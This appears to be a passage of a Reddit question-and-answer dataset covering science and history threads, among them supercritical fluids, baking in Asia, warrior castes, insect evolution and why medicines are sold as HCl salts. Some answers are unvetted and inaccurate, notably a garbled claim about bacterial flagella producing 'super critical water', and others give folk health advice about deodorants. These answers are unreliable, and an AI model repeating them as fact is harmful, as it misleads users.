{"q_id": "3nmxcx", "title": "Is there any substance that is a supercritical fluid at room temperature and normal atmospheric pressure?", "selftext": "Most supercritical fluids I've heard of have a critical point that's at very high temperatures and pressures.\n\nIs there any substance that has a critical point less than 1 atm and room temperature, so that it's a supercritical fluid in ordinary Earth-like conditions?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3nmxcx/is_there_any_substance_that_is_a_supercritical/", "answers": {"a_id": ["cvpnu0o", "cvpr9qt", "cvps75o"], "score": [30, 9, 6], "text": ["According to [Spectra Gases](_URL_0_), He-3 has a critical pressure of less than one atm and a critical temperature of 3.3 K, which would technically make it supercritical under ambient conditions. However, the density is so low that it probably behaves like an ordinary gas.  ", "A couple of months ago there was a super critical water caused by the flagella of bacteria at room temperature. It didn't have all the properties of a super fluid. \n\nHypothetically the motion of the flagella in the water caused a type of energy vortex that caused macroscopic motion in the fluid to behave frictionlessly because a third source was inducing microscopic energy that \"balanced it out\". ", "Interesting question, I've actually wondered the same thing. I tried to look around but I couldn't find anything. It does seem like [supercritical CO*_2_*](_URL_0_) is very popular in applications because the critical temperature is just a little over 30 Celsius, but it still requires 73 atmospheres of pressure. An interesting thing mentioned on the Wiki page is that Venus may have had supercritical CO*_2_* oceans many years ago.\n\nI'd agree with the other post that helium should really just be called a gas at ambient conditions. I tried to look at other very light gases, but even H*_2_* requires over 10 atms, and it just goes up from there."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["www.lindegaspr.com/internet.lg.lg.pri/en/images/high_purity_helium_3811_28072.pdf"], [], ["https://en.wikipedia.org/wiki/Supercritical_carbon_dioxide"]]}
{"q_id": "1olhvx", "title": "Why was baking so common place in Europe but not so common in Asia", "selftext": "I learnt from a friend that there is no Tamil word for bake.  In general it seems like traditional cooking in South and East Asia is mostly just frying stuff.  And yet, Romans in Europe were big on the whole baking thing.  Why did that happen?  I thought baking was more common with wheat based foods but roti seems like it's been around forever.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1olhvx/why_was_baking_so_common_place_in_europe_but_not/", "answers": {"a_id": ["cct7bcr", "cct85qp", "cct9lwq", "cctkemu", "cctkmkx"], "score": [23, 121, 66, 8, 3], "text": ["Not an answer but isn't the tandoor a kind of an oven? I would say 'naan' is a popular baked product from South Asia. It is more common in North India and surrounding areas. I wonder if there are words for 'bake' in Hindi or Punjabi? (another Tamilian here)", "This isn't specifically pertinent to SE Asia, but may help you understand the dynamics of bread.  Bread is a pretty energy-intensive way of getting calories.  You have to grow your grain, mill it, and then spend a lot of energy heating up an entire oven to cook the bread dough.  Not to mention the expense involved in building an oven in the first place. This is why (at least in Western history, with which I am more familiar) bread is a reasonable proxy for wealth.  Poor societies and poor people within societies eat their grain relatively unprocessed: porridge, kasha, etc.  Rich people eat bread, generally a sourdough, dense bread, or flat bread (flatbreads in particular don't require ovens).  Really rich people eat white bread: creation of white flour is wasteful, but the fluffy white bread result can not be achieved any other way.  \n\nSo in *general* you might guess that societies with lots of loaves of bread are richer than societies reliant on porridges or flatbreads.    But I don't know enough about SE Asian history, technology, or culture to be comfortable drawing that conclusion to your original question.", "While /u/quince23 has it pretty well-covered, I would also note that it is also an issue of indigenous crop varietals and the path dependency of agricultural technology. The SE Asian climate is perfect for rice-- wheat would be less effective in the SE Asian biome. \n\nThe exception illustrates the rule-- Vietnam is the only southeast Asian country that has a vibrant \"bread culture\" (Banh Mi in particular) and this reflects French colonial influence.\n\nOn a mobile so no sources here. ", "Along with /u/quince23's assertion that bread was generally for the more wealthy, the fact that rice was incredibly easy to grow in SE Asia made it much more viable as a calorie alternative. Rice is the most effective way of growing crops as far as I know (not a massive agricultural buff).\n\nRice is also much easier to grow in poor farming land, much of SE Asia doesn't have incredibly fertile soil, so growing crops like wheat needed for bread simply wasn't possible, whereas rice can grow in many conditions and importantly you can grow two crops a year, the first being grown in February and harvested in late June / July, the second lot of crops being grown in late July to October / November time.\n\nGrowing rice however is difficult, as it requires much more labour than wheat or other crops popular in Europe, making the massive populations of China, Thailand etc much more able to grow rice, rather than their contemporaries in Europe and later America.\n\nHistorically wise, I'm not an expert on agricultural behaviours, however much of this information is taken from simple farming attitudes that have  arisen.\n\nConclusion: Basically, the climate and social environment of SE Asia lent themselves to prefer larger crops that require more work but are easier to grow, rather than the more difficult procedure of growing wheat, and especially making bread which not only was difficult to grow in soils around Asia, but needed a lot of work after the fact, grinding, baking etc.\n\n**Source** James C. Scott - *The Moral Economy of the Peasant: Rebellion and Subsistence in Southeast Asia*", "In Chinese food culture, bread was rare or nonexistent because of the constraints on cooking fuel. With such a large land area and population but with relatively little arable land for growing food and not many large forests, Chinese food preparation concentrated on cooking as little as possible. Boiling water for grains (mostly millet early on, and then rice) was the most fuel-intensive cooking process that historical Chinese people used.\n\nThis information is taken from lectures and the book *Food in Chinese Culture* edited by KC Chang."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "z6tok", "title": "Effectiveness of societies with warrior castes versus recruited forces?", "selftext": "Some societies had their warriors as real castes (in GENERAL). Examples are the Samurai or the Kshatriya of India. To some extent, maybe the Janissaries of the Ottomans. I have the general impression that they were brought up warriors and were generally rather elite and skilled. Other societies just recruited from the populace and trained them into troops that could go back to civilian life after the war (or whatever). \n\nWhat are some similarities between \"caste\" societies, especially in development? What are some historical ramifications? Which was \"better\" in the end?\n\nEdit: nix the samurai.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/z6tok/effectiveness_of_societies_with_warrior_castes/", "answers": {"a_id": ["c61ywzn", "c61z7cs", "c6207ae", "c621lfm", "c621zep", "c62240z", "c625cga", "c628bmq"], "score": [9, 18, 5, 3, 10, 6, 2, 2], "text": ["Not a historian so correct me if I'm wrong, but the issue about the Samurai is that the social mobility afforded to Japanese society up into the Edo period was very fluid.  Up until Toyotomi Hideyoshi's Sword Hunt (continued by Tokugawa, where the military made an extended effort to find and confiscate weapons available to the peasantry to lower the chance of future uprisings), it was possible for any peasant with a decent weapon, some valor and some combat skill to become a Ronin or become a Samurai for a particular *daimyo*.  Hideyoshi himself was just a peasant boy who had been inducted by Nobunaga and rose first to the rank of *daimyo* and then to *kampaku*.  In that respect, the vast majority of the Samurai \"class\" for most of Japan's history consisted of loosely trained peasants.  By the Edo period, the Samurai class had largely been solidified as a hereditary class with little social mobility, but they no longer really functioned as a military class, coming closer to simply peerage.  In that respect, the Samurai don't really count as a \"caste\".", "I'd just note that oftentimes the two systems became intertwined. For instance in British India the army tended to be made up of people recruited from the more warlike societies of the Gurkhas,Sikhs and Muslims. The Romans recruited from the more warlike peoples, and the Byzantines continued this practice as well. ", " > Other societies just recruited from the populace and trained them into troops that could go back to civilian life after the war (or whatever).\n\nIsn't that also what the United States does? And I would have to say that on an individual basis, our soldiers are very, very good at killing (if that's your measure of effectiveness). How would you measure effectiveness?\n\nIt has a lot to do with training and your measure of effectiveness. Those who were part of a warrior \"caste\" (you might include European noble knights in there as well) would have received significantly more and better training than someone who was simply pulled off the streets and had an axe shoved into their hands. Nutrition is also a big factor. Those who were better-fed tended to be better soldiers, and those who had the best food would have been part of a higher societal caste.\n\nYou can also take equipment into account. Being wealthier or part of an elite caste would generally mean that your equipment would be better than a peasant, who might just be armed with whatever happened to be handy. Swords were pretty expensive back then.\n\nSo there you go: training, nutrition, and equipment. Whether one system was more effective than the other depends on how you measure success. The English longbowman was an effective unit en masse, but on an individual level you would expect a mounted knight to be deadlier.", "The Mamluks of Egypt were a medieval soldier caste. They were Christian boys (slaves I think) converted to Islam and raised as knights. I'm not sure how but they eventually took over Egypt, taking it from the control of Saladin's descendants. They were crushed by the Ottoman army, which had a lot less medieval chivalry and a lot more early modern guns. Elite skill meant nothing against gunpowder...\n\nI've read that the Ottoman Janissaries, who were raised similarly to the Mamluks, really were an elite class - right up until the 19th century, when the state opened the corps for any man to join. Their quality as a unit dropped, and the new Janissaries were much more interested in their pay checks than serving the state.", "Warrior castes tend to be very good at teaching a specific way of fighting, but very bad at adapting to changing tactical or technological environments.", "An early example of this might be Sparta and Athens in the Peloponnesian Wars.  Sparta famously was a society built around supporting an elite warrior caste, while Athens recruited their soldiers in time of need, and would pay people like rowers a good wage to fight.\n\nSparta was pretty much unbeatable in a straight up land battle, they clearly had the superior forces.  They might not always have had more numbers, but their heavy infantry outclassed everyone else's.  It was only in situations such as [strange terrain and overwhelming numbers](_URL_1_) could Athens dig out victory.  This was of course different on the water, since Athens had an experienced navy at the beginning of the war, and Sparta did not.  Long story short, Sparta eventually built a navy, while Athens wasted lots of manpower and money on an ambitious grab to control Sicily.  There were *lots* of differences between the two cities besides \"warrior caste/recruited army,\" but perhaps there's one idea I can extract from the war:\n\nSparta had a relatively homogenous army.  No real interest in a navy, no real interest in lighter troops.  This caused them problems at first (loss at Sphacteria, inability to end the war, less strategic mobility than Athens).  To their credit, they changed things up and ended the war with a more balanced military, but [eventually reverted to making the same mistakes again](_URL_0_).  I think its an ok assumption that their \"warrior caste\" put a great deal of prestige into the heavy infantry and its way of fighting.  This resulted in an unbalanced military as their training energy, battlefield strategy, and manpower was focused onto just one type of soldier.\n\n^(I hope someone more learned can point out any errors I made.  This was going off of some classes a few years ago and my own amateur interest in the Peloponnesian Wars.)", "typically even in \"warrior caste\" societies, the bulk of the army were levies and what not. This is where the Janissaries are different in that they are example of an early professional army.\n\nThe problem with professional soldiers is what happens when theres conflicting interests? They could easily launch a coup against you. Where as recruiting levies to supplement a small military class that is closely align to your rule (think samurais) it doesn't tend to be as dangerous.\n\nUsually rulers would put the interests of preserving their own power than their military might in first place.", "OK, my study in this area only applies to the late middle ages to around 1600, but I never saw  militaries in terms of 'warrior caste' vs. 'recruited forces'.\n\nIt's more like:\n\n- Noble elite fighters (knights, samurai, Janissaries, Sipahis, etc)\n\n- Mercenaries (the bulk of the military in my time period)\n\n- Standing armies (China, Byzantium, Ancient Rome- started creeping into early modern European countries when gunpowder arrived)\n\n- Recruits (usually untrained local people dragged into wars as cannon fodder although there were exceptions)\n\nGunpowder really changed everything. When some schmuck with minimal training in using a firearm could  shoot an armored knight or a skilled mercenary soldier off a horse, it changed the dynamics of warfare: the infantry came into its own and the 'elite warrior castes' faded away - with (generally speaking) the elites choosing to take the fields as strategists instead of warriors. \n\nIt IS interesting how in Japan, there was a consensus to abolish firearms for a long time (at least a century?) because they saw the changes firearms were bringing to their society, didn't like it, and went back to the 'traditional' ways.\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://en.wikipedia.org/wiki/Battle_of_Lechaeum", "http://en.wikipedia.org/wiki/Battle_of_Sphacteria"], [], []]}
{"q_id": "8epb0x", "title": "Language of the American Founding Fathers", "selftext": "I am currently researching the second amendment, but more specifically their use of the word \"Militia\". The definition of the word which works best for my argument is from _URL_0_: \"a body of citizen soldiers as distinguished from professional soldiers\". \n\nHowever, I am fully certain that the founding fathers did not use _URL_0_, and so I wonder, what dictionary did the founding fathers of the US use? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8epb0x/language_of_the_american_founding_fathers/", "answers": {"a_id": ["dxxbf8h"], "score": [3], "text": ["Is your question about the use of the word \"militia\" or the use of dictionaries?\n\nIf you're asking about militias, the _URL_10_ definition is correct. In all the colonies, able-bodied men [from the ages of 16 to 60](_URL_3_) were typically required to join the county militia. Later on, this would [change to the ages of 18 to 45](_URL_11_), as the states became more populated and there were more young men available to serve. This would require them to go do training a few weekends each summer, and maybe a couple more weekends throughout the year. A 1647 Massachusetts law stipulated that militia men were to receive [eight days of training every year](_URL_3_). Some people were exempt from service, such as the clergy, Quakers, members of the legislature, and the infirm, but everybody else had to serve, or else they would be subject to legal punishments, such as jail time. In many cases, you couldn't hold public office unless you were a member of the militia, either. Because of the large number of men required to join, [militia muster rolls](_URL_5_) are often used as census substitutes for research purposes, particularly before the U.S. Census began being conducted in 1790.\n\nTo more directly answer this question (if it is the question you're asking), another group that was [exempt from militia duty were paid soldiers](_URL_7_), such as those who joined up with Washington's Continental Army, or before that, those who had joined to serve alongside the British Army or Royal Navy, which would often happen during wartime--during one of the French and Indian Wars, for example. And then after that, this would have also included enlisted soldiers in the U.S. Army and Navy. There were active duty militias during times of war, but for the most part, the militias were reserve soldiers, only called up when the war front came close to their home county.\n\nIf you're asking about dictionaries, then the one that would have been most available to the founders was [*A Dictionary of the English Language* by Samuel Johnson](_URL_8_), first published in London in 1755. Noah Webster published his first provisional dictionary in 1806, under the title [*A Compendious Dictionary of the English Language*](_URL_2_), although it was his later 1828 dictionary, [*An American Dictionary of the English Language*](_URL_9_), that was his first comprehensive dictionary.\n\nIn the earlier 1806 dictionary, Webster wrote [in the preface](_URL_2_) about Samuel Johnson's dictionary at length. It was clearly *the* standard by which English language dictionaries were compared to at the time. He also wrote in that preface a little about [Nathan Bailey's *An Universal Etymological English Dictionary*](_URL_4_) first published in 1721. More briefly, Webster's preface mentioned Robert [*Lowth's Grammar*](_URL_6_) published in 1762, and [Thomas Sheridan's *A General Dictionary of the English Language*](_URL_0_) published in 1780. \n\nWebster also mentioned dictionaries by several other writers, including [Walker, Entick, Perry, Ash, and Jones](_URL_1_), all published between 1775 and 1800. But these were all mainly pronunciation dictionaries, rather than definitional dictionaries, so Johnson's and Bailey's dictionaries were the most useful to Noah Webster when he began the long work to compiling his American dictionary.\n"]}, "title_urls": [], "selftext_urls": ["dictionary.com"], "answers_urls": [["https://archive.org/details/generaldictionar00sher", "https://books.google.com/books?id=M5YVAAAAYAAJ&amp;pg=PA39", "https://en.wikisource.org/wiki/A_Compendious_Dictionary_of_the_English_Language", "https://books.google.com/books?id=TBofKvr1Fi4C&amp;pg=PA386", "https://archive.org/details/universaletymolo00bail", "https://books.google.com/books?id=tvExAQAAMAAJ", "http://www.bl.uk/learning/timeline/item126709.html", "https://books.google.com/books?id=8-gYAAAAYAAJ&amp;dq=army%20exempted&amp;pg=PA276", "https://archive.org/details/dictionaryofengl01johnuoft", "https://archive.org/details/americandictiona01websrich", "dictionary.com", "https://books.google.com/books?id=5rYwAQAAMAAJ&amp;pg=PA17"]]}
{"q_id": "3j3817", "title": "Did the 1972 Summit Series hockey tournament generate much general interest in the United States and Europe?", "selftext": "I know the games themselves were not widely broadcast in the US (though many border residents could pick up the CBC), but was there much news generated in the games as a political, Cold War event? For example, would the outcomes of the games been mentioned on national news broadcasts?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3j3817/did_the_1972_summit_series_hockey_tournament/", "answers": {"a_id": ["culvgh8"], "score": [4], "text": ["Probably worth asking /r/hockey.  I'd be interested in the answer as well."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "30lihj", "title": "What is the evolutionary lineage of insects? We only ever head about the 1st fish that came onto land that evolved into most animals.", "selftext": "We learn a lot about that fish thing with eyes on the top of his head and 5 bones in its fin which eventually evolved into pretty much all mammals and amphibians, but what about insects like mosquitoes? What came out of the ocean that eventually evolved into them (or any other bug)? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/30lihj/what_is_the_evolutionary_lineage_of_insects_we/", "answers": {"a_id": ["cptp00i", "cptr9gw"], "score": [27, 169], "text": ["It looks like they evolved from certain crustaceans, and came to land when vascular plants came to land. \n\n_URL_1_\n\n >  Molecular analysis suggests that the hexapods diverged from their sister group, the [Anostraca (fairy shrimps)](_URL_2_), at around the start of the Silurian period 440 million years ago - coinciding with the appearance of vascular plants on land.\n\n_URL_0_\n\n >  One of the most important results of this new study is support for the hypothesis that the insects evolved from a group of crustaceans. So flies, honeybees, ants, and crickets all branched off the arthropod family tree from within the lineage that gave rise to today's crabs, shrimp, and lobsters. Another important finding is that the \"Chelicerata\" (a group that includes the spiders, scorpions, ticks, and mites) branched off very early, earlier than the millipedes, centipedes, crustaceans, and insects. That means that the spiders, for example, are more distantly related to the insects than many researchers previously thought.", "Insects are very closely related to Crustaceans. A crustacean-like common ancestor crawled on land and started exploiting a number of different niches previously un-filled. The first \"insects\" they think appeared in the early ordovician, 480 MYA. But they really exploded in terms of diversity when they evolved flight and complete metamorphosis. \n\nThis paper published in November of 2014 can explain all of the answers to your questions much better than I can: \n_URL_1_\n\nPDF for those without access:\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.sciencedaily.com/releases/2010/02/100216114034.htm", "http://en.wikipedia.org/wiki/Hexapoda#Hexapod_evolution_and_relationships", "http://en.wikipedia.org/wiki/Anostraca"], ["http://courses.biology.utah.edu/feener/5445/Readings/Lecture%2019/Misof%20et%20al%202014.pdf", "http://www.sciencemag.org/content/346/6210/763"]]}
{"q_id": "kltqw", "title": "why do i get a bump in my arm pit whenever i switch deordorants?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/kltqw/eli5_why_do_i_get_a_bump_in_my_arm_pit_whenever_i/", "answers": {"a_id": ["c2lb5i8", "c2lbh19", "c2le06u", "c2lgida", "c2lb5i8", "c2lbh19", "c2le06u", "c2lgida"], "score": [6, 5, 2, 2, 6, 5, 2, 2], "text": ["I can only assume you're having a reaction to the new formula based on this. Are you getting a rash? Hives? Or just a single pimple in the center?", "Does it feel like it's under the sink?  Like an inflamed lymph node?  I get that sometimes, it's not painful, but very annoying.", "This is a very common problem. It happens when the pores of your skin clog because of the deodorant. That part of skin infects itself and a bump forms. The best way to get rid of it is to use less deodorant and wash the armpits daily. ", "If you're using deodorants with antipersperants in them try getting one that doesn't. Most sports deodorants do, and they literally put metal (alluminum I believe) in there to block your pores. I know a lot of people who use those types of deodorant all the time, when the truth is you don't need it unless you are working out and have bad BO. It's always a bad idea to try and forcibly stop your bodies natural processes.", "I can only assume you're having a reaction to the new formula based on this. Are you getting a rash? Hives? Or just a single pimple in the center?", "Does it feel like it's under the sink?  Like an inflamed lymph node?  I get that sometimes, it's not painful, but very annoying.", "This is a very common problem. It happens when the pores of your skin clog because of the deodorant. That part of skin infects itself and a bump forms. The best way to get rid of it is to use less deodorant and wash the armpits daily. ", "If you're using deodorants with antipersperants in them try getting one that doesn't. Most sports deodorants do, and they literally put metal (alluminum I believe) in there to block your pores. I know a lot of people who use those types of deodorant all the time, when the truth is you don't need it unless you are working out and have bad BO. It's always a bad idea to try and forcibly stop your bodies natural processes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "1ii477", "title": "At what level of salinity does water become undrinkable?", "selftext": "Move along, citizen. Nothing to see here.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ii477/at_what_level_of_salinity_does_water_become/", "answers": {"a_id": ["cb4udqu"], "score": [9], "text": ["Seawater will not quench your thirst, in fact it will make you more thirsty. The salinity that's acceptable to humans is around 0.9%. Seawater is around thrice of that.\n\nThe level of salt in sea water, when absorbed into the body, causes water to rush out of the cells through the process of **osmosis**. This results in the cells being unable to perform the chemical reactions needed to survive, ultimately leading to death.\n\nIs this what you are talking about in Finland - [Finnish wave energy innovation makes seawater drinkable](_URL_1_)\n\nEdit: [Found it](_URL_0_). Apparently some areas of the Baltic sea have very low salinity, around 1/3rd of average ocean salinity. So, it seems the numbers line up for that water to be drinkable.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Baltic_Sea#Salinity", "http://www.goodnewsfinland.com/archive/news/f9f51e07/"]]}
{"q_id": "4on5n6", "title": "What does weight and bias in an artificial neural network corresponds to in a brain, and how does it work?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4on5n6/what_does_weight_and_bias_in_an_artificial_neural/", "answers": {"a_id": ["d4eoy7c", "d4erd0n"], "score": [2, 3], "text": ["Technically, the weights are supposed to represent synaptic strength / strength of connections between neurons. However, ANNs don't really resemble the brain in any meaningful way...", "Neurons in a brain interact through synapses. Almost every neuron has an \"Input\" which are dendrites and an \"Output\" which is the axon. Synapses are the connections of the axon of a neuron with the dendrites of another neuron. \n\nA signal that comes from the first neuron, is translated into an amount of chemicals (neurotransmitters) and released into the synapse, where it is absorbed into the dendrites of the other neuron. There an electrical response forms. The strength of the response depends on a number of factors, such as amount of neurotransmitter released, number of receptors in the synapse, type of neurotransmitter, are certain other chemicals blocking the receptors or binding the neurotransmitter and more complex stuff. \n\nThe weight in an artificial neural network is a simplification of all these factors. \n\nIn a biological neuron the neurotransmitters cause chain reaction in the dendrites, which produces electric signals to travel from the synapse to the cell body. Electric signals from all ingoing synapses of a neuron are \"summed up\" in the cell body and create a response of the neuron that travels though its axon to the next neurons. For this response to have significant impact on the next neurons, it has to be strong enough. \n\nIn an artificial neuron ingoing signals are simply numbers. They are multiplied by the corresponding weight of the synapse and then summed up. If the result is larger than the bias the artificial neuron will create a response (typically 1) if it is smaller than the neuron will return 0 (sometimes -1). \n\nThis is a rough sketch of the most important stuff (I believe) so if something is not clear or if you have more questions feel free to ask."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1y8pvv", "title": "Why do so many medications have \"HCl\" in them?", "selftext": "I know enough to know that this is Hydrogen and Chlorine, but why is it a part of so many medicines?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1y8pvv/why_do_so_many_medications_have_hcl_in_them/", "answers": {"a_id": ["cfib56o", "cfib5d9", "cfic3h2", "cficans", "cfidgr7", "cfidlh0", "cfifqrp", "cfiir99", "cfild6p", "cfiolod", "cfiselh", "cfj3w3z"], "score": [119, 1344, 28, 21, 5, 8, 19, 13, 2, 10, 4, 3], "text": ["I'm sure an organic chemist will have a better answer but from an inorganic/physchem graduate:\n\nThe active ingredient in most medicines is an organic chemical compound (a molecule made of a carbon chain with a bunch of functional groups stuck to it).\n\nIn their pure form, these compounds are often waxy / oily substances which are hydrophobic and not crystalline. By adding HCl you protonate one or more of the functional groups (usually amine I think) which introduces extra polarity to the molecule. This has a two-fold effect:\n1) It helps the organic substance dissolve in protic solvents (read \"water\"/\"stomach acid\") meaning it will enter your blood more readily.\n\n2) It allows crystals of the substance to be more readily formed, allowing for easier handling/storage/incorporation into pills.", "When they say \"HCl\" behind the name of a medication, they're referring to the hydrochloride salt. Many pharmaceutical agents have protonation sites, such as amines, and they can be prepared as a pure substance, or as an HCl salt - so instead of -NH\u2082, it will become -NH\u2083Cl.\n\nFor particularly lipophilic drugs, this helps it dissolve in water, as the compound will dissociate into its constituent ammonium and chloride ions.\n\nOne such example would be [cocaine](_URL_0_) - in powder form, it is a hydrochloride salt. When you deprotonate the amine, you get the \"free base\" form, also known as crack cocaine.", "I think the other people hit the nail on the head about the HCl salt helping with solubility and drug availability, so I'll expand it a bit, \"What about the drugs who aren't HCl?\"\n\nThere are a few drugs out there which are prepared as salts other than HCl.  Some drugs form better salts with larger anions.  One that I can think of off the top of my head is imatinib which is used as a mesylate salt(methylsulfonic acid).  Atropine is another and it is typically prepared as the sulfate salt(H2SO4 with two drug molecules per sulfate).\n\nLipitor is charged the opposite way(it is a carboxylic acid and has a negative charge as an ion) and is prepared as a calcium salt.", "Current Pharm. D. major here and everyone so far have explained the complex version of the reasoning. The HCl added (bonded) to the active pharmaceutical ingredient is to make sure that the drug gets absorbed in the right time frame/right place/ etc. The HCl is indeed a salt that increases the polarity of the active ingredient, which allows for the dissolution/breakdown/metabolism of the drug. Overall, the HCl is just a way for the drug to make it to the right places in the right time frame/concentrations! I hope that this is a little more understandable for you (not to undermine the accuracy and complexity of the information given by the other contributors)!", "I'll give two reasons:\n\n1.  As a method of purification.  If the active pharmaceutical ingredient (API) is an amine (NR3), the HCl salt can be generated.  The HCl is a solid and can be filtered off from the rest of the reaction mixture following a synthetic step.\n\n2.  Some drugs contain amine groups and most amines are isolated as oils.  An oil is not an effective method of drug delivery, so the HCl salt is generated to convert the oil into a solid which can then be packaged in table form.", "One aspect I haven't seen mentioned has to do with manufacturing processes. Commercial medications are produced on large scale (tons) in big vats. Basically, workers/computer controlled valves combine chemicals in a reactor vessel and a large paddle stirs the whole mix. This is the easy part. The hard part, which companies spend a huge amount of effort optimizing, is purification. No reaction is 100% perfect and at the end of the day these manufacturers need to separate the desired compound from any impurities, solvents, and unreacted starting materials. As you might guess, it's very challenging to purify one liquid out of another. Imagine trying to separate milk from tea! However, if the product contains a basic nitrogen (which most drugs do), you can add an acid and convert that product into a salt. You can now *filter* away your desired compound and rinse all the other crud away. The reason this works is that most \"free amines\" or \"free bases\" are oils, whereas the corresponding salt forms are solids and crystalline/powdery.\n\nSome common acids used:\n\n_URL_0_\n\nFrom this interesting article: \n\n_URL_1_\n", "There are three basic chemical classes of drugs: neutral, acidic, and basic.  The most common class is basic; this is mostly because nitrogen (for a variety of reasons) is extremely common in drugs, and nitrogen is normally present as some sort of amine, which is a basic functional group (take as an example sildenafil/viagra).  After that, probably the second most common class of drugs (often natural products, aspirin is an example) are acids.  \nLeast common are drugs that don't have an acidic or basic functional group--an example is drugs like lorazepam/ativan.\n\nAt any rate, the reason I bring this up is because the state a drug is in affects how well it is absorbed by the body.  To be soluble in water, drugs usually need to be positively or negatively charged; however, to cross the membrane of cells/get through the stomach, the drug often has to be uncharged.  \n\nAside from this, most synthetic drugs are \"greasy\"; they have poor aqueous solubility to begin with.\nIf the drug is uncharged at physiological pH (around 7) then it will usually be poorly soluble in water, and that will make it difficult to administer the drug orally or in solution.  \n\nThis is a frequent problem; this is where salts come in.  Salts are the conjugate acid or base of the drug (helloo high school chemistry), combined with a counterion.  By converting a drug into the correct salt, the drug can be charged at physiological pH, improving its solubility and ability to be absorbed by the body.  -HCl (the hydrochloride salt) is the most basic salt for basic drugs (like Na- salt is for acidic drugs), but there can be others--HBr, citrate, mesylate, and so on.  Much like just making a drug into a salt can improve its solubility or bioavailability, changing the counterion can also do that.\n\nHow do chemists figure out all this salt stuff?  Experiment.  There aren't really any hard rules about how it's supposed to work; when making a drug, chemists will usually make a few different salt forms, and see which one seems to be the most soluble and best absorbed by the body.\n\n\n\n", "For a very layman's answer: The HCl stands for hydrochloride (or hydrochloric acid). This chemical is mixed with the medication to create a salt form of the medication which is much more water soluble. This solubility gives the medication properties that allow it to be absorbed by your body better (via oral route), or alternatively, to be injected intravenously. This sounds scary but it is just chemistry applied to humans (pharmacology) and a LOT of drugs exist as specific salts.", "many medicines are alkaloid compounds which are not water-soluble in their native form. Think freebase cocaine (crack). The hydrochloride salts are water soluble (like powdered cocaine, which is really cocaine HCl). ", "Ex-medicinal chemist here.  Many, many, many classes of drugs have amine groups (-NH, NH2).  Besides increasing water solubility like so many have mentioned, salts simply make handling many organic molecules a lot easier.  Many times organic substances are sticky oils which make them very difficult to handle, by making a HCL or other salt (if your molecule has  an amine group), you can make it into a nice powder.  \n\n\nThe other thing that is often overlooked is the fact that compound crystal structure is critically important during the development of a new drug.  If you can't get good crystals, it makes drug formulation very difficult.  By making salts of compounds, you can many times also retain the same medicinal effects, but alter the physical chemical properties of your molecules, which can determine how good the crystal structures you can obtain, affects biodistribution, oral efficacy, and many other things.  IT IS ABSOLUTLEY REQUIRED to characterize a crystal structure of your molecule when trying to develop it.  You can even get new patents on different crystal structure forms of the same drug.  Crystal structure, which is often times a function of salt and process of crystallization is vitally important for formulation purposes.  \n\nIt's basically just a trick up our sleeves to make molecules hopefully a bit easier to work with and more efficacious.  ", "Well here is another mind blower for all of you people not involved in pharmaceuticals....  Not only does the salt form have an affect on the bioavailability, efficacy and stability of a drug substance.  The excipients (non-active ingredients in the pill) and binders also play a role.  So does the particle size of the active ingredients when it is formulated into the pill (for the vast majority of oral drugs).  These things are usually the biggest factor which differ between older brand name drugs that have gone off patent and their generic counterparts.  I'll give you a personal example....  The drug dimenhydrinate (marketed in Canada as Gravol) works great for me to stop motion sickness.  I used to take it all the time before going out on boats before SCUBA diving.  When I came to the US I bought some Dramamine knowing it was the exact same drug as far as active ingredients go.  Dramamine makes me puke within 10 minutes of taking it.  It doesn't even matter if I go out on the boat or not....  If I take one of those tabs right now I'll be hurling  in front of my computer within 20 mins.  While the two drugs seem to be the same they are formulated quite differently and in my case it makes all the difference!", "It's typically a hydrochloride salt of an amine or nitrogen-containing basic compound (e.g., it's the -NH3Cl salt form, instead of the -NH2 free base).  A pharmaceutically acceptable salt form, such as a hydrochloride, is often much, much easier to work with.  A free base is often a gooey, sticky, oily mess, whereas a salt form is more likely to be a powder or (even better) crystalline.  It's much easier make a tablet or capsule out of a powder than a bunch of resinous gunk (go into your kitchen and try measuring out a cup of flour vs. a cup of honey).  Also, an anime may be susceptible to oxidation by atmospheric oxygen, which would yield the N-oxide (i.e., -NH- > O), so using the salt form makes the drug substance more shelf stable.  A hydrochloride of an amine is less likely to be oxidized by ambient oxygen.  The hydrochloride salt is just a mixture of an amine or organic base plus hydrochloric acid.  By the way, it doesn't have to be the HCl salt.  Lots of other acids do the same things, so you'll see drugs that are a besylate salt, a hydrobromide salt, a malate salt, and so forth.  When working with an acidic drug instead of a basic drug, the corresponding salt form with an inorganic base is often used for similar reasons.  For example, instead of naproxen, the salt formed by addition of sodium hydroxide is used, i.e, sodium naproxen.  It sounds nasty -- you might think, \"why does my medicine include hydrochloric acid or sodium hydroxide [i.e., lye, drain cleaner]\"?  Don't worry, the acidic or basic drug has been neutralized by addition of an equal amount of base or acid, respectively.  (Source: I'm a patent examiner who does pharmacology.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Cocaine"], [], [], [], ["http://www.pharmtech.com/pharmtech/data/articlestandard//pharmtech/102008/500407/i6.jpg", 